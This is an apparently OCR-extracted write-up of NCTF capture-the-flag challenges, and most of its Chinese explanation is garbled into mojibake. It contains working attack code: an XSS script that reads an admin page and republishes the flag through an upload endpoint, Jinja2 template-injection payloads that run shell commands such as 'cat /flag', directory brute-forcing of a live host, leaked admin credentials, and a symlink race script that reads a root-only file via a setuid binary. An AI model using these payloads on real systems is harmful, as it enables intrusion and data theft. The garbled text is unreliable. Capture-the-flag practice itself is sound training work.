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Window

Administrators only like to read the first article.

Only .html and .htm files are published to the homepage feed.

Welcome To MinSite

This demo instance is wired for editorial preview. New page fragments appear on the homepage
as soon as they land in the shared pages store.
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1 Key: edge_key_release_2026

2 Use Key to DownlLoad! /update-maxsite/master.zip



AL ER, FERNTHESEE (BREGIRE) , BiF7E/update-maxsite/master.zip, keyths
BT

AR T , HiEAE/update-maxsite/master.zip, {BR2iREIHNLER 404

XBkeyHget, postEifEBE—BIERRIT, BB RFTIZF

RERZLW: MRlzZipRIMA0AXBEARFE, zip BTRHAESXE, #SXHNEKRERSHEEEEFERE L
HHY, =2 PHP 5|1%#h, MRER LgBEX MG, RSB[EEFHBIAEBREH 7Key=xxXo
BAFXHEARTEE, MERECHRBR, XMaccess is deniedZf5, FHERNIZREXN T, XOAMEER
MEEES

£ N7key=edge_key_release_2026

PEERTIT? hyw, RERXTREZR (XZEget, post...)

FEERXFRRZELT: NRKIVZEMES ?key=edge_key_release_2026 , L PHP EKEIX
N URLES, EXIESHETR—18E (BHME $_GET B2RTE)

AR
1 $_GET = array/(
2 "key" => "edge_key_release_2026"

)3

A, RAEEHRIT isset($_GET[$key]) , HFLEIRE
$_GET['edge_key_release_2026'] EFAEFEE. B, HEABRIEHEBZUM "key" BT
=, XEHEBUM "edge_key_release_2026" HITEH,

BINRE N?edge_key_release_2026

EXNURLA, AE—BFR, REFS=, U PHP BEXMEEESHNESHE, a8 M
B EXBINFHRERYFHAEN “BR (Key)” , HELE—1EH, P, IS PHP f#ITHE
B $_GET #AKXH:

ARG ER
1 $_GET = array(
2 "edge_key_release_2026" => ""

)5

ETE, KIEBEXHRIT isset($_GET[Skey]) , HFEIRE
$_GET['edge_key_release_2026'] FAFEHE. XK, HAEABEXIMHRET

TRt A EafTe£mmaster.zip
BRifial/update-maxsite/master.zipit FEE T S ZLF0RRS



B REIFGEHE T

1. application/maxsite/templates/default/type/home/my_home.php

REGER

1 $pages_dir = FCPATH . 'pages/';

2

3 foreach (Sdir as Sitem) {

4 if ($ext !== 'html' and $ext !== 'htm') continue;
5 Sentries[] = [...];

6 1}

2

8 usort($entries, ... ¥ mtime €ElF ...);

9

=
(©)

<?= file_get_contents($Sentry['path']) ?>

AEER “Admin Z IR Pages” RAXTRIXER,

2. application/maxsite/mso_config.php

ARG ER

1 S$pages_dir = FCPATH . 'pages/';

2

3 foreach (S$dir as Sitem) {

4 if (Sext !== 'html' and $ext !== 'htm') continue;
5 Sentries[] = [...];

6 1}

2

8 usort($entries, ... ¥ mtime EF ...);

9

=
(O}

<?= file_get_contents($entry['path']) ?>

XEBREMZW, B users_groups_id == 1KVEIEZ A /adminkt, TIEEASHIN id="gzctf-flag-
value"

ZBEaAFP ReEFE—1 1 flag B9 dashboard

3. application/ctf-assets/user_account.txt

username: user

password: minsite-user-2025



XEMEABEANEEKS (HEZaERd B IMINRE, B2 D — N EBIBEHRET)
BEEAXTMKSEREGEIF,

4.application/maxsite/admin/plugins/admin_page/uploads-require-maxsite.php

(AREES

1 Hif (!is_login()) die('no login');

2

3 if (isset($_SERVER['HTTP_X_REQUESTED_FILENAME']))

4 $fn = $_SERVER['HTTP_X_REQUESTED_FILENAME'];

5

6 if (isset($_SERVER['HTTP_X_REQUESTED_FILEUPDIR']))

7 $page_id = $_SERVER['HTTP_X_REQUESTED_FILEUPDIR'];

8

9 mso_checkreferer();

10
11  $allowed_ext = ... |html|htm| ...
12
13 Sup_dir = getinfo('uploads_dir') . '_pages/' . $page_id . '/';
14  file_put_contents(Sup_dir . $fn, file_get_contents('php://input'));

XIAET—NRINERRASMI EEEO, HEARARFE html , FEIZFIZEVHTTP Header {fEAX
"2, REELHEMRET XHo
FINEEENEH/EBRERIXMEOMEE T require-maxsite AR

admin/plugins/admin_page/all-files.php

HADIR

1 getinfo('require-maxsite') . base64_encode('admin/plugins/admin_page/uploads-
require-maxsite.php')

it 2K FF L fF#E /9 /require-
maxsite/YWRtaW4vcGx1Z2lucy9hZG1lpblOwYWdIL3VwbGOhZHMtcmVxdWlyZS1tYXhzaXRILnBocA

FrAF (I 1E % L& xss payload

HADIR

1 <script>
2 (async()=>{
3 const esc=s=>s.replace(/[&<>"]/g,c=>
({'&":'&amp; "', "'<":'&LE; ", > &gt ", " T &quot; ' e]) ) ;



4 const up='/require-
maxsite/YWRtaW4vcGx1Z21lucy9hZGlpb1OwYWdLL3VwbGOhZHMtecmVxdWlyZS1tYXhzaXR1lLnBocA=

=00
)

5 const text = await fetch('/admin', {credentials:'include', cache: 'no-
store'}).then(r=>r.text());

6 const m = text.match(/id=[""']gzctf-flag-value[""'][A>]*x>(["<]+)/1i);
7 if (!m) return;

8 const body = '<h2>flag</h2><pre>' + esc(m[1l]) + '</pre>';
9 await fetch(up, {

10 method: 'POST',

11 credentials: 'include',

12 headers: {

13 'X-Requested-Filename': 'flag.html',

14 'X-Requested-FileUpDir': '1',

15 'X-Requested-ReplaceFile': 'true',

16 'Content-Type': 'text/html;charset=UTF-8'

17 },

18 body

19 b

20 1HO;

21  </script>

H L ERIFTE TIRIA]

Home About Comments Contact Archive RSS

MinSite Feed

The homepage is assembled directly from raw HTML files stored under /pages .
Writers use the same content mirror as the page uploader, so changes appear here without

sanitization.

maintenance trace: http://114.66.24.221:43064/require-maxsite/Y3RmL3VWZGFOZS1rZXktcmVx
dWlyZS1tYXhzaXR1lLnBocA==

flag
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ANIME SCHEDULE & ARCHIVE
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RAAEMEXT, EERKSNETFHIEE, FSREERENZSEHERE XY GEMFR)
FRUENZdIrA—TER

id CE 3 0

:\Desktop\tec\Z £ \tools\dirsearch-master (1l)\dirsearch-master>python dirsearch.py -u http://114.66.24.221:u6814/
:\Desktop\tec\%& % \tools\dirsearch-master (1)\dirsearch-master\lib\core\installation.py:24: UserWarning: pkg_resources
is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slate
H for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81l.

import pkg_resources

xtensions: php, asp, aspx, jsp, html, htm HTTP method: GET Threads: 25 Wordlist size: 12293

arget: http://114.66.24.221:46814/

21:07:07] Scanning:

-> Jassets/

-> [debug/

ask Completed

:\Desktop\tec\& £ \tools\dirsearch-master (1)\dirsearch-master=>p

AER=1"BER, BTFdIrBAZR N3 HjsonX 8y, FRLAFRA5&H B —Tdebug FHjson, zip, txt
ZEHIX

83 python dirsearch.py -u http://114.66.24.221:39677/debug/ -e json,txt,bak,zip


http://114.66.24.221:39677/debug/

F:\Desktop\tec\Z £ \tools\dirsearch-master (1)\dirsearch-master>python dirsearch.py -u http://1

-e json,txt, bak,zip

F:\Desktop\tec\Z £ \tools\dirsearch-master (1)\dirsearch-master\lib\core\installation.py:24: Us

is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_r

d for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<8l.
import pkg_resources

Extensions: json, txt, bak, zip @ HTTP method: GET @ Threads: 25 | Wordlist size: 11305

Target: http://114.66.24.221:4681U/

[21:13:07] Scanning: debug/

ok AR T config 4, EiZAIA

ARIGIR

1 {

2 "adminUser": "anime_admin",
3 "passwordParts": [

4 "cHVYZXNO",

5 "emVhbQ=="

6 1

7 %

base64f#I5SEIZ S A purestream ($#7)
EEEANEAUEE— 1 ARIEELHFNER
BTIEE—EBE N “IBRIENA" B9 Review Notes, £4 7T X#EAIFIH Rust X3 :

)

=]

(ASEEES

#[serde(untagged) ]
pub enum TransitionRequest {
QuickPublish(QuickPublishRequest),

Moderated (ModeratedTransitionRequest),

pub struct QuickPublishRequest {

1

2

3

4

5 1}
6

7

8 pub action: String,
9

}
10
11  pub struct ModeratedTransitionRequest {
12 pub action: String,
13 pub target_status: AnimeStatus,
14 pub reviewer_token: String,
15 pub featured: bool,

16 }



17 {

18 "action": "publish",

19 "targetStatus": "published",

20 "reviewerToken": "FEATURE-REVIEW-2025",
21 "featured": false,

22 "approvalTicket": "PENDING-APPROVAL"
23}

HEXM®H T —MNEE approvalTicket HBIBGI JSON, 1BRi: NEZKEE
approvalTicket , B#FIZEERIAR T EHIZHN.

FHA—FAXIW, FTZEapprovalTicketBZ

HADIR

1 #[serde(untagged) ]

2 pub enum TransitionRequest {

3 QuickPublish(QuickPublishRequest),
4

5

Moderated (ModeratedTransitionRequest),

BENX approvalTicket XANFERM

FRABATAI R A A XN F R A 6

AREGIR

1 {

2 "action": "publish",

3 "targetStatus": "published",

4 "reviewerToken": "FEATURE-REVIEW-2025",
5 "featured": false

6 1

mflagkEFAIE anime-0007 BY Status FEX

FHAEIEM /api/admin/anime/anime-0007/transition X MEOXBMIT



etc Jjapl/fadmin/an Jod//transition , q

method:
headers: { "Content-Type': 'application/json' },
body: JS0N.stringify({
"action": "publish”,
; "published",
ken™: "FEATURE-REVIEW-2825",
: false

1

i
1).then{res => res.text()).then(console.log);

P Promise {<pending>}
{"message" =B : "data":{"id":"anime-0007", "name" :"HEFF
87" ,"link": " /placeholder
cover.svg" ,"description” :"NCTF{WA7aSH1 9A Kol8i78 N1 NAr3Ru WaKEn4iJAn muRiMuRI_ c2a7aaae
269e}" ,"episodes™:1,"airTime":"2026F1H18H", "weekDay": "B H ", "status":"published"}}

»

183lflag:
NCTF{WA7aSH1_9A_Ko18i70_NI_NAr3Ru_WaKEn4iJAn_muRiMuRIl_c2a7aaae269e¢}

N-HORSE

IS
s

© NCTF MA

EXRM—NEENG (BFFRE) M EF

EIRNELMT —HEMMR: sqlF

7 usernameiER N 7 & Payload, ZiEMEIERE, REERGE, KMNNEKIPEZH—IT
Welcome: [FBY5IN]



izt XSS: %N <script>alert(1)</script>, MHEEBEEME 7, Xin A ER HTML 32E3%E X

Mt fE4E SSTI: BEFAR Python 115, Zil{{8*8}}, &R ImEIEIE: Welcome: {{8*8}}.
FERKRD, XEEIEMAT, HEUNEXREN WebShell K BEREZ—FERRS 1§
bzl

X7 MESHEEAER, EFjinja2t&ik, KiIFiEssti

TUEREIE, EREEMAsstiG? WIEXRREE, sleep—T

HAEBIR

1 {{ lipsum.globals['os'].popen('sleep 5').read() }}

ERERsleepT HFD
KESMEMFTssti 7THIH

FrAX @ ginlE &SR, REKELEEsstigF
B E—ERMTUR, BKIHEFERFRF: <imgsrc="/static/images/horse.jpg">, XEKEML
FE— U UEREEN S 2RIFIREESE R /static/images/

BIRMAXET, FAssti, AITLinux WEEMESL > , I cat /flag BIERKELE—HA]
BEIAIRAY txt )X

HEGIR

1  {{ lipsum.__globals__['os'].popen('cat /flag > static/images/flag.txt').read()
1}

1Al /static/images/flag.txt
#§tiflag: NCTF{d2520d67a9bc_WEIcOM3_T#_ncT1}

Misc

Merlin
(BoRutIEFEAT (2

SBERITERTLSERERIFGREEEZgreptizk (7



-~

/home/xuan/Desktop/process.dmp
/home/xuan/Desktop/process.dmp
aseb4-stringgetTypeInfo: crypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeinvalid
bort name too long#failfipscastbad IV lengthImpersonationaccess denieduser ca dPKCS1IWithSHA1ECD

FAW1thSHA1 master 3ecretkux enpdnglnnu’lp de?latelu alld ASN.1SHA256-RSAPSSSHA384-RSAP
.JQHurl' FRAPDmeall addresst 0 S

NCTF{88478dd1-ec24-4f2b-a4a5-a25e85b5c868}

Quantum Vault
HiERELE, ti— TR

Active code page: 65001

S E:\OCTF\NCTF\misc\Quantum Vault> [Console]::InputEncoding [System.Text.UTF8Encoding]: : new(
PS E:\OCTFANCTF\misc\Quantum Vault> [Console]::0utputEncoding [System.Text.UTF8Encoding] : :new(
PS E:\BCTF\NCTF\misc\Quantum Vault> [Console] : :OutputEncoding

PS E:\BCTFANCTF\misc\Quantum Vault> ncat 114.66.24.221 39189
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bal

[EMRA]:
[E2Fi]: 0.00 QTC
exch MEME 100

MR ERIERI]. SBIEN:

bal
[EMRAE]:
[ FitB]: 0.00 QTC

exch USD 1

HEEERIERI]. SRIEN:

bal
[EWHKAE]:
[ Fith]: 0.00 QTC
vault

d

[SYSTEM] IEEFIEREZEES S 9EH . . .

flagk&#27E/root/flag.txt, RBErootANPR7 gEIREX

ctfuser@uhj@igshu-3cU95fa7usdfusu3:~% id
id
uid=10606(ctfuser) gid=1000(ctfuser) groups=10868(ctfuser)
Ct'FLISEI@Uthlghu 3cuU95FaTUSdFUSU3:~% ps auxww | grep GZCTF_FLAG
ps auxww | grep GZCTF_FLAG
root 1 9.8 0.8 2892 952 7 Ss 68:24 9:80 /bin/sh —c sh —c "echo \%
& chmod U488 /root/flag.txt && exec sudo -u ctfuser python3 /home/ctfuser/server.py"
ctfuser 78 6.8 0.6 3848 1916 pts/5 S+ 09:89 0:88 grep --color=auto

Jusr/local/bint BT BRENXIER, AJLUHEErootBINRRERIT

> /root/flag.txt




ctfuser@uhj0i9hu-3c495f0745dfus5U3:~%

pwd
/home/ctfuser

ctfuser@uhj0i9hu-3cU95f0745dfusu3:

1ls -la

total 32
drwxr-x———
drwxr—-xr-x
-rw-r—-—-r-—-—
-rv-r——r-—-—
-rw-r—-—-r—-—
—I'WXr—-xr-x 1

ctfuser
root

ctfuser
ctfuser
ctfuser
ctfuser

ctfuser
root

ctfuser
ctfuser
ctfuser
ctfuser

4e9e6
4o9e6
220
3771
807
9881

pwd

~$ 1s -la

13:10
13:10
2022

Apr 2
Apr 2 o
NET I .bash_logout
6 2022 .bashrc
6

2022 .profile

Jan
NEY
Feb 24

06:42 server.py
ctfuser@uhj@iohu-3cy95fE7u5dfusu3:~$ 1s /usr/local/bin
ls /usr/local/bin

g-vault-sync
ctfuser@uhj0ighu—-3cu95f0745dfusu3:
ls -1 /usr/local/bin/q-vault-sync

-rwsr-xr-x 1 root root 16744 Apr

~$ 1s -1 /usr/local/bin/g-vault-sync

2 13:10 /usr/local/bin/g—-vault-sync

ctfuser@uhj@i9hu-fcodd63626cdu6b7:~$ mkdir —-p /tmp/qdemo/d

mkdir -p /tmp/qdemo/d

ctfuser@uhj@iohu-fc0dd63626cdu6b7:~$ printf 'OK\n' > /tmp/qdemo/src

printf 'OK\n' > /tmp/qdemo/src

ctfuser@uhjoiohu-fc0dd63626cdu6b7:~$ 1s -1 /tmp/qdemo/src

1s -1 /tmp/qdemo/src

-rw-rw-r—— 1 ctfuser ctfuser 3 Apr 6 10:02 ftmpfqdemofsrc
ctfuser@uhjoiohu-fc0dd63626cdu6b7:~$ Ln —sf /root/flag.txt /tmp/qdemo/src

1n -sf /root/flag.txt /tmp/qdemo/src

ctfuser@uhj@iohu-fc@dd63626cdu6b7:~$ 1s -1 /tmp/qdemo/src

1s -1 /tmp/gdemo/src

Lruxrwxrwx 1 ctfuser ctfuser 14 Apr 6 10:04 /tmp/qdemo/src -> froot/flag.txt
ctfuser@uhj@i9hu-fcOdd63626cdud6b7:~$ fusr/local/bin/g-vault-sync -v -s /tmp/qdemo/src —-d /tmp/qdemo/d
<n/q-vault-sync -v -s /tmp/qdemo/src -d /tmp/qdemo/d

[-] Security Violation: Dimensional instability detected (Symlink forbidden).

RGN
ARBIR
1 cat > /tmp/race.py <<'PY'
2 > dimport os
3  dimport subprocess
4  dmport threading
5
6 base = '/tmp/qrace'
7 src = base + '"/src'
8 dst = base + '/d'
9 out = dst + '/synced_key.dat'
10
11  os.system('rm -rf ' + base)
12  os.makedirs(dst, exist_ok=True)
13 stop = False

=
N



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

def flipper():
import os
> good_content = 'OK\n'
while not stop:
good = src + '.good'
try:
with open(good, 'w') as f:
f.write(good_content)
os.replace(good, src)
except Exception:
pass

bad = src + '.bad'
try:
try:
os.unlink(bad)
except FileNotFoundError:
pass
os.symlink('/root/flag.txt', bad)
os.replace(bad, src)
except Exception:

pass

threads = [threading.Thread(target=flipper, daemon=True) for _ in range(4)]
for t in threads:
t.start()

for _ in range(5000):
subprocess.run(
['/usr/local/bin/gq-vault-sync', '-v', '-s', src, '-d', dst],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
try:
data = open(out, 'rb').read()
except Exception:
continue
if data not in (b'', b'OK\n'):
print(data.decode('utf-8', 'replace'))
break
else:
print('FAILED'")

stop = True

import subprocess
> import threading
>



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
7
78
79
80
81
82
83
84
85
86
87
88
89
90
M|
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108

YV V VvV VvV V V V V V V VV V VV VV VM VMV VM VMV VW VMV VW VMV VW VMV VW VMV VV VMV VWV VMV V V VWV V VWV V V V V V V V V V V V V

base = '/tmp/qrace'

src = base + '/src'

dst base + '/d'

out = dst + '/synced_key.dat'

os.system('rm -rf ' + base)
os.makedirs(dst, exist_ok=True)
stop = False

def flipper():
good_content = 'OK\n'
while not stop:
good = src + '.good'

try:

with open(good, 'w') as f:
f.write(good_content)

os.replace(good, src)
except Exception:
pass

bad = src + '.bad'
try:
try:
os.unlink(bad)

except FileNotFoundError:

pass

os.symlink('/root/flag.txt', bad)

os.replace(bad, src)
except Exception:

pass

threads = [threading.Thread(target=flipper, daemon=True) for _

for t in threads:
t.start()

for _ in range(5000):

subprocess.run(

['/usr/local/bin/q-vault-sync',

stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,

)
try:

data = open(out, 'rb').read()

except Exception:
continue

if data not in (b'', b'OK\n'):
print(data.decode('utf-8"',

'-s', src,

'replace'))

in range(4)]

'-d', dst],



109 > break

110 > else:

111 > print('FAILED")
112 >

113 > stop = True

114 > PY

ctfuser@uhj@i9hu—fcOdde3626cdu6b7:~$% python3 /tmp/race.py

python3 /tmp/race.py
nctf{fa7e8ccO-62fe-Uf3f-85b2-c0141964276d}

nctf{fa7e8cc0-62fe-4f3f-85b2-c0141964276d}

What a mess!

MAEE, AF—1T—175%.

FHS: XIE+86/86. 1ES. HELk. 2AFH. REFHR, RFEEHF.
BME: BAE, RERBHFMX, Bk GB 11643-1999 WKRE—1i.
REN: X CNY/RMB/#/1ES, B#HF.

ki

ARG ER

1 import csv

2 dmport unicodedata

3  dimport zipfile

4 from decimal import Decimal

5 from pathlib dimport Path

6 from xml.etree import ElementTree as ET

-

8

9 DATA_DIR = Path(__file__).resolve() .parent

10 CSV_PATH = DATA_DIR / "customer_dump.csv"

11 XLSX_PATH = DATA_DIR / "system_audit_logs.xlsx"

12

13  XLSX_NS = {"main": "http://schemas.openxmlformats.org/spreadsheetml/2006/main"}

14 ZERO_WIDTH = "\u200b\u200c\u200d\ufeff\u2060"

15 ID_WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]

16 ID_CHECK_MAP = "10X98765432"

17

18

19 def clean_text(text: str) -> str:



text = unicodedata.normalize("NFKC", text)
for ch in ZERO_WIDTH:
text = text.replace(ch, "")
text = "".join(ch for ch in text if unicodedata.category(ch) != "Cf")

return text.strip()

def read_allow_prefixes() -> set[str]:
with zipfile.ZipFile(XLSX_PATH) as zf:
xml = zf.read("x1l/worksheets/sheetl.xml")

root
rows = root.findall(".//main:sheetData/main:row", XLSX_NS)

ET.fromstring(xml)

config = {}
for row in rows[1l:]:
cells = row.findall("main:c", XLSX_NS)
if len(cells) < 2:
continue
key = cells[0].findtext("main:is/main:t", default="",
namespaces=XLSX_NS)
value = cells[1l].findtext("main:is/main:t", default="",
namespaces=XLSX_NS)
configl[key] = value

42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

return set(config["Allow_Prefix"].split(","))

load_rows() -> list[dict[str, str]]:
with CSV_PATH.open("r", encoding="utf-8-sig", newline="") as f:
return list(csv.DictReader(f))

dedupe_rows(rows: list[dict[str, str]]) -> list[dict[str, str]l]:

for row in rows:
key = (row["Name"], row["ID_Card"], row["Phone"], row["Balance"])
if key in seen:

seen.add (key)
unique.append (row)

return unique

normalize_phone(phone: str) -> str:
clean_text(phone)



65 digits = "".join(ch for ch in phone if ch.isdigit())

66 if digits.startswith("0086"):

67 digits = digits[4:]

68 elif digits.startswith("86") and len(digits) > 11:

69 digits = digits[2:]

70 return digits

71

72

73 def normalize_id(id_card: str) -> str:

74 id_card = clean_text(id_card) .upper()

75 return "".join(ch for ch in did_card if ch.isdigit() or ch == "X")
76

7

78 def normalize_balance(balance: str) -> Decimal:

79 balance = clean_text(balance) .upper()

80 balance = balance.replace("CNY'", "").replace("RMB", "'")
81 balance = "".join(ch for ch in balance if ch.isdigit() or ch in ".-")
82 return Decimal(balance or "0")

83

84

85 def checksum_ok(id_card: str) -> bool:

86 if len(id_card) != 18:

87 return False

88 if not id_card[:17].1isdigit():

89 return False

90 if not (did_card[-1].1isdigit() or id_card[-1] == "X"):
91 return False

92

93 total = 0

94 for ch, weight in zip(id_card[:17], ID_WEIGHTS):

95 total += int(ch) * weight

96 return ID_CHECK_MAP[total % 11] == -dd_card[-1]

o7

98

99 def 1ds_li_surname(name: str) -> bool:

100 name = clean_text(name)

101 return name.startswith("Z") or name.lower().startswith("1i")
102

103

104 def main() -> None:

105 allow_prefixes = read_allow_prefixes()

106 print("BRESEL:", sorted(allow_prefixes))

107

108 raw_rows = load_rows()

109 print("RIBIERE:", len(raw_rows))

110

111 unique_rows = dedupe_rows (raw_rows)



112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
L3S
140
141
142
143
144
145
146
147 if
148
149

print("EERIZEFRE:", len(unique_rows))

ql = 0
g2 = 0
g3 = 0
g4 = Decimal("0")
gqs = 0

for row in unique_rows:
name = clean_text(row["Name'"])
phone = normalize_phone(row["Phone"])

id_card = normalize_id(row["ID_Card'"])

balance = normalize_balance(row["Balance'"])

ok_phone = len(phone) == 11 and phone[:3] in allow_prefixes
ok_id = checksum_ok(id_card)

if ok_phone:
ql += 1

if ok_id:
g2 += 1

if ok_phone and ok_qid:
g3 += 1

if balance >= 0:
g4 += balance
if dis_1i_surname(name) :

gs += 1

print("Q1 =", ql)
print("Q2 =", g2)
print("Q3 =", g3)
print("Q4 =", format(g4.quantize(Decimal("0.00")), "f"))
print("Q5 =", g5)

__hame__ == "__main__":

main()



S E:\OCTF\NCTF\misc\Quantum Vault> cd

S E:\OCTFANCTF\misc\what a mess> python .\solve_audit_step_by_step.py

s . ['135', '136', '137', '138', '139', '15@', '151',6 '152' '158', '159', '186',6 '188']
52500

S : 50000

“m
I g

w
00
@
o ¥
& ;.

14

23,
=]
S

349@3

26587
6569338570.00
1917

RNEE

nctf{0e840e02-77b1-4782-8291-elafbc148b5a}

What another mess!
BARZiEM e mAv LI IA

SR

1 dmport csv

2 import re

3 dmport unicodedata

4 from decimal import Decimal

5 from pathlib dimport Path

6

7

8 DATA_DIR = Path(__file__).resolve().parent
9 CSV_PATH = DATA_DIR / "customer_dump.csv"
10

11 ZERO_WIDTH = "\u200b\u200c\u200d\ufeff"
12 PHONE_PREFIXES = {

13 "135",

14 "136",

15 W3LE

16 "138",

17 n139",
18 "150",
19 SIS
20 "152",
21 n158",
22 "159",
23 "186",



24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

H188H’
}

ID_WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]

ID_CHECKMAP = "10X98765432"

def clean_text(value: str) -> str:
value = unicodedata.normalize(""NFKC", value)
for ch in ZERO_WIDTH:
value = value.replace(ch, "")
return value.strip()

def normalize_name(value: str) -> str:
return clean_text(value)

def normalize_id(value: str) -> str:
return clean_text(value).upper().replace(" ", "")

def normalize_phone(value: str) -> str:
value = clean_text(value)
digits = "".join(ch for ch in value if ch.isdigit())
if len(digits) == 13 and digits.startswith("86"):
digits = digits[2:]
return digits

def normalize_balance(value: str) -> Decimal | None:

value = clean_text(value)
value = re.sub(r"[*0-9\-.]", "", value)
if Value in {HH’ H_H, H.H}:

return None

return Decimal(value)

def valid_phone(value: str) -> bool:
phone = normalize_phone(value)

return len(phone) == 11 and phone[:3] in PHONE_PREFIXES

def valid_id(value: str) -> bool:
card = normalize_id(value)
if not re.fullmatch(r"\d{17}[0-9X]", card):
return False

total = sum(int(ch) * weight for ch, weight in zip(card[:17], ID_WEIGHTS))



71 return ID_CHECKMAP[total % 11] == card[-1]

T2

73

74 def dis_li_surname(value: str) -> bool:

75 name = normalize_name(value)

76 return name.startswith("Z") or name.startswith("Li") or

name.startswith("1i")
7
78
79 def load_rows() -> list[dict[str, str]]:
80 with CSV_PATH.open("r'", encoding="utf-8-sig", newline="") as f:
81 return list(csv.DictReader(f))
82
83
84 def dedupe_rows(rows: list[dict[str, str]]) -> list[dict[str, str]]:

85 seen = set()

86 unique = []

87 for row in rows:

88 key = (

89 normalize_name (row["Name'"]),
920 normalize_id(row["ID_Card"]),
91 normalize_phone(row["Phone"]),
92 )

93 if key in seen:

94 continue

95 seen.add (key)

96 unique.append (row)

97 return unique

98

99

100 def main() -> None:

101 raw_rows = load_rows()

102 print("RIBIERE:", len(raw_rows))

103

104 unique_rows = dedupe_rows (raw_rows)
105 print("#&Z (&, BIME, FNS) BEREEE:", len(unique_rows))
106

107 ql = 0

108 q2 = 0

109 q3 = 0

110 g4 = Decimal("o")

111 g5 = 0

112

113 for row in unique_rows:

114 ok_phone = valid_phone(row["Phone"])
115 ok_id = valid_id(row["ID_Card"])

116



117 if ok_phone:

118 gl += 1
119 if ok_id:
120 q2 += 1
121 if ok_phone and ok_id:
122 g3 += 1
123 balance = normalize_balance(row["Balance'])
124 if balance is not None and balance >= 0:
125 g4 += balance
126 if ds_1li_surname(row["Name'"]):
127 g5 += 1
128
129 ("Q1 =", ql)
130 ("Q2 =", q2)
131 ("Q3 =", g3)
132 ("Q4 =", f"{qg4:.2f}")
133 ("Q5 =", g5)
134
135
136 if __name__ == "__main__":
137 main()
138
BT

er mess=> py

= AU
JRIICR ¥ : 52500
' (&, BHiIE, FNS) BASFEE: 50000
= 38040

34923

26569

6538348091 .00

1879




Q3. FfRAEQHMQ2MIERAEZLR?

Q4. #3 LRQIMAR, SitRKARENEH (BiEnak, REMANE.

Q5. FQ3MIARPH, #HAFH (FNFEFHHSFL/N") BABRESL?

flag{dba31272-9779-48d2-a63d-2bd7b5adf58a}

ezProtocol

RIEMagic = 0x47414D45, var Key = [|byte{Ox4e, 0x43, 0x54, 0x46}, F%ASCIIE]LASH K GAMERYL
FINCTF#key



Input

47414045

ame 18 =

Output

GAME

Input

4435446

mc B = 1 @ &

Output

NCTF

FREL (FB) -

FMEFLE GAME; TypeAuth = 0x0123iAIE; TypeQuery=0x022%Eif; TypeGetFlag=0x032
= flag; HeaderSize = 101 PAIRSCGLEK R 10 FF5; OffsetType=4, £ 5N FHERE,
OffsetLength =5, %8 6 NMETEKE; OffsetChecksum=6, % 7 ZI% 10 MET 2 checksum;
OffsetPayload =10, % 11 NET AR payload;



17785, Key & NCTF
BiE—Hhex, LERFELRMMNE
MFHF RSEE) WEN WSG WEQ SNA EiHE RS T TR MENH)

ADA® o BEB@ a2 «>»n «>»WEoool

[ | frame.number == 4 = -+

Ma Time Source Destination Protocol Length Info
4 3.157138317 182.168.52.1 192.168.52.129 TCP 162 24529 . 9998 [PSH, ACK] Seq=1 Ack=1 Win=131328 Len=48

» Frame 4: 182 bytes om W 29 b: c ) L L ) 3 PV =
» Ethernet II, Src: VYMwar 33 S8 1 ¢ 48 @8 BB B 2 4 2 B 34 B o i fd- -4
¢+ Internet Protocel Versi 3. &f 1 2 E : i 53 5 ba 42 82 3e 58 - " B =P
sion Control Pr )2 8 e 1 S 81 26 ca 64 f9 d GA ME-&-d
2 Sas'=e#) <'v|171i5
raxd;e14 "Bilyw2
+8 wWl>

B8 4payloadiiE:

356124273d3023293c27767c6c373135326178643b303134202239236¢7976322b3020776¢3e
RERE

P CTF\NCTF\misc\ezProtocol> python

F‘ythun 3.11.9 (tags/v3.11.9:de54cf5, Apr 2 2624, 16:12:12) [MSC v.1938 64 bit (AMD&EU)] on win32

Type "help", "copyright", "credits" or "license" for more information.

=== KEY = b"NCTF"

»>>> payload = bytes.fromhex("356124273d3023293c27767c6c3731353a6178643b303134202239236c7976322b3020776c3e")
>>> plain = bytes(b * KEY[i % 4] for i, b in enumerate(payload))

»>>> plain.decode()

'{"password":"test", "username” :"testl"}'

{"password":"test","username":"test1"}

BEEXTKBEMAT, TEHEEEMHIIKE

.168.52.129 : 60 24600 - 9999 |ACK| 5€q=105 Ack=117 Win=131872 Len=e

PV E
M4
fB--.P
Gn "E. o e
5&5"&#} <'v|l---
.qdtxaxd ;814 "9#
lyv%:%14 1>

AU 2R RAKS




REER—TEHERE:
FAmake_packet(...){BJSON 15K 3= AR SFimeEIR B BY &N €,
B HAdecode_packet(...)}BAR S5 imiR [B1HY Z &l 7Y ELA#E]JSONFE T,

(ASEEZS

1 dmport socket, json, zlib

2 HOST, PORT = "114.66.24.221", 41276

3 KEY = b"NCTF"

4 MAGIC = b"GAME"

5 def make_packet(msg_type, obj):

6 plain = json.dumps(obj, separators=(",", ":")).encode()

7 payload = bytes(b A KEY[i % 4] for i, b in enumerate(plain))
8 head = MAGIC + bytes([msg_type, len(payload)])

9 chk = zlib.crc32(head + b"\x00\x00\x00\x00" + payload) & Oxffffffff
10 return head + chk.to_bytes(4, "big") + payload

11

12 def decode_packet(resp):
13 payload = resp[10:10 + resp[5]]
14 plain = bytes(b » KEY[i % 4] for i, b in enumerate(payload))
15 print(plain.decode())
16

E:\OCTF\NCTF\misc\ezProtocol>python
